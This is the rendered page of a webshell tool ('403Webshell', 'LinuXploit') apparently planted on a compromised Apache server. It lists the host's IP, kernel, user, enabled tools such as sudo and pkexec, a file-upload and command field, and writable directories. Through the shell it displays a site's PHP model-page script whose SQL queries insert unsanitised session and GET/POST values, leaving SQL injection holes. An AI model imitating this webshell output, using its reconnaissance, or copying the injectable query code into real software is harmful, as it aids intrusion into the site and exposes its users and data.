403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/code/c_model_pub.php
<?php 	

if(!empty($_SESSION['model_id'])) {
				$model_id = addslashes($_SESSION['model_id']);
					$query = "UPDATE models SET views=views+1 Where model_id = '$model_id' ";
					$connection->update($query);
			} else {
				$content = 'error';
				echo "there is no model specified";
				break;
			}
			
			$site_des = "";
			if(!empty($_SESSION['site_desig'])) {
				 $site_des = " and site_desig = '{$_SESSION['site_desig']}' ";
			}
			
			$join = "";
			if(!empty($_SESSION['f_niche'])) {
				$join = "join niche2asset as n2a on n2a.asset_id = a.asset_id and n2a.niche_id = '{$_SESSION['f_niche']}'";
			}
			
			
			$query = "
				select  m.model_id, m.model_alias, m.model_name, m.official_site, m.sportyfans, m.sportyarchive, m.description, m.sex, m.spalt1, m.spalt2, m.birthday, m.photo_from, m.tits, m.hair, m.ethnicity, m.model_type, m.model_type2, m.model_type3, m.special, m.special2, m.special3, m.tits_real, m.t_stamp, m.live, m.date_added, m.residence, m.nationality, m.eyes, m.body_type, m.height, s.site_name, s.site_link
				from models as m
				left join sites as s on site_id = m.photo_from
				
				where 	m.model_id = '$model_id' 
						
				group by m.model_id
			";
			
			$model = $connection->query($query);
			
			if(empty($model)) {
				$content = 'error';
				break;
			}
			
			$new_result = array();
			foreach($model as $key => $element) {
			
			$model_blog_entries = "	SELECT  a.asset_title, a.static_link 
				from asset as a
				left join mod2asset m2a on m2a.asset_id = a.asset_id 
				
				where m2a.model_id = {$model_id} and  a.media = 'B'  ";
				
				$model_blog_entries = $connection->query($model_blog_entries);
				$new_result[$key] = $element;
				$new_result[$key]['model_blog_entries'] = $model_blog_entries;			
			
			
			 
			
				$tags_sql = "
				SELECT DISTINCT(n.niche_id), n.niche_name
				from niche n, niche2asset n2a, mod2asset m2a
				where n2a.niche_id = n.niche_id 
				and m2a.asset_id = n2a.asset_id
				and m2a.model_id = '{$element['model_id']}'
				";
				$tags = $connection->query($tags_sql);
				//$new_result[$key] = $element;
				$new_result[$key]['tags'] = $tags;

				$model_sites = "	SELECT DISTINCT(s.site_name), s.site_link, s.site_id from sites s, asset a, mod2asset m2a 
									where m2a.asset_id = a.asset_id
									and s.site_id = a.site_id 
									and m2a.model_id = {$new_result[$key]['model_id']}";
													
				$site = $connection->query($model_sites);
				//$new_result[$key] = $element;
				$new_result[$key]['sites'] = $site;	
				 
			}
			$model  = $new_result;	
			
			$model = $model[0];
			$page_title .= ' - '.$model['model_name'];
			$section_title = $model['model_name'];			
	
			
			
			
			$model_n_sites = "	SELECT DISTINCT(ns2m.site_id), ns2m.site_link, ns.site_name
									from networking_sites2mod ns2m, networking_sites ns
									where ns.site_id = ns2m.site_id and
									ns2m.model_id = {$model_id} order by ns.orderby";
													
				$n_sites = $connection->query($model_n_sites);

			
				$barometer_sql = "
				SELECT DISTINCT(b.barometer_id), b.barometer_name
				from barometer b 
				group by b.barometer_id 
				order by b.barometer_name
				";
				$barometer = $connection->query($barometer_sql);
				
			$new_result = array();
			foreach($barometer as $key => $element) {
			

				$barometer_links = "	SELECT a.hosted_url, a.asset_id, a.media, a.site_desig 
				from asset as a
				left join mod2asset m2a on m2a.asset_id = a.asset_id 
				left join barometer2asset b2a on b2a.asset_id = a.asset_id
				where m2a.model_id = {$model_id} and b2a.barometer_id = {$element['barometer_id']} and a.media <> 'B'  and a.media <> 'D' ";
						
										
													
				$barometer_links = $connection->query($barometer_links);
				$new_result[$key] = $element;
				$new_result[$key]['barometer_links'] = $barometer_links;	
				$barometer  = $new_result;	
				
				}
				


				
			
			$cond = null;
				if(!empty($_POST['media_filter']) || !empty($_GET['media_filter']))
				{
							if(!empty($_POST['media_filter']))
								{
									$media_filter =	$_POST['media_filter'];
									$cond = " and a.media = '{$_POST['media_filter']}'";
								}
							elseif(!empty($_GET['media_filter']))
								{
									$media_filter =	$_GET['media_filter'];
									$cond = " and a.media = '{$_GET['media_filter']}'";
								}
							else
								{
									$media_filter = "0";
									$cond = " and (a.media = 'P' or a.media = 'V') ";
								}	
				}else{
									$media_filter = "0";
									$cond = " and (a.media = 'P' or a.media = 'V') ";
								}	
				
			$query = "select  SQL_CALC_FOUND_ROWS  a.asset_id, a.media, a.asset_title, a.asset_text, a.p_date, a.site_id, a.hosted_url, a.site_desig,
			 DATE_FORMAT(a.p_date, '%m/%d/%Y') as pretty_date
				
				from mod2asset as m2v, asset as a
				
				$join
				where m2v.asset_id = a.asset_id and m2v.model_id = '$model_id' and a.live = 'y' 
							and a.p_date <= '".date('Y-m-d')."' $cond $site_des
				group by a.asset_id
				order by a.p_date desc
				limit $pg, " . ITEMS_PER_PAGE."";
			
			$assets = $connection->query($query);
			$count = $connection->query("SELECT FOUND_ROWS() AS `count`");
			
			$new_result = array();
			foreach($assets as $key => $element) {
			
				$tags_sql = "
				SELECT niche.niche_id, niche.niche_name
				from niche, niche2asset
				where niche2asset.niche_id = niche.niche_id 
				and niche2asset.asset_id = '{$element['asset_id']}'
				";
				$tags = $connection->query($tags_sql);
				$new_result[$key] = $element;
				$new_result[$key]['tags'] = $tags;


				
				
				if(is_numeric($new_result[$key]['site_id']) && $new_result[$key]['site_id'] != 0) {
					$studio = $connection->query("SELECT * from sites where site_id = {$new_result[$key]['site_id']}");
					if(!empty($studio)) {
						$new_result[$key]['site_name'] = $studio[0]['site_name'];
						$new_result[$key]['site_link'] = $studio[0]['site_link'];
					} else {
						$new_result[$key]['site_name'] = 'Not Set';
						$new_result[$key]['site_link'] = '#';
					}
				} else {
					$new_result[$key]['studio'] = 'Not Set';
					$new_result[$key]['studio_link'] = '#';
				}
			}
			$assets  = $new_result;	
				

			
						
			$query = "
				select m.model_id  
				from models as m
				$m2v_join
				where m.model_id > {$model_id}
				order by model_id asc
				limit 1
			";
			$next = $connection->query($query);
			if(!empty($next)) {
				$next = $next[0]['model_id'];
			}
			
			$query = "
				select m.model_id  
				from models as m
				$m2v_join
				where m.model_id < {$model_id}
				order by model_id desc
				limit 1
			";
			
			$prev = $connection->query($query);
			if(!empty($prev)) {
				$prev = $prev[0]['model_id'];
			}
			
			
			if($count[0]['count'] > ITEMS_PER_PAGE) {
				$pagination['pages'] = ceil($count[0]['count'] / ITEMS_PER_PAGE);
				$pagination['page'] = $page;
				$pagination['links'] = 4;
				$pagination['link'] = '?content=model&model_id='.$model_id.'&media_filter='.$media_filter.'&page=';
			}




				$sql_niches = "select niche.niche_name, niche.niche_id 
						from niche, niche2asset 
						left join mod2asset m2a on m2a.model_id = {$model_id}
					   	where niche2asset.niche_id = niche.niche_id  and niche2asset.asset_id = m2a.asset_id
					   	group by niche.niche_id order by niche.niche_name ASC";
			$niches = $connection->query($sql_niches);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit